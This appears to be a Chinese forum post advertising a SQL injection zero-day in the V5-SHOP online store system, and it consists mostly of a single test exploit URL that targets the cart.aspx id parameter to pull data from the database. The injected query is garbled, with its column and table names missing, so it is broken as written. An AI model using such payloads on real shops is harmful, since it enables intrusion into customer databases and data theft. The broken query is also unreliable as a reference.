V5-SHOP商城SQL注射0day
net 的在线商城系统以下是测试EXP：
cart.aspx?act=buy&id=1 and (Select Top 1 char(124)%2BisNull(cast( as varchar(8000)),char(32))%2Bchar(124)%2BisNull(cast( as varchar(8000)),char(32))%2Bchar(124) From (Select Top 4 , From Where 11=1 Order by ,) T Order by desc, desc)>0 –
页:
[1]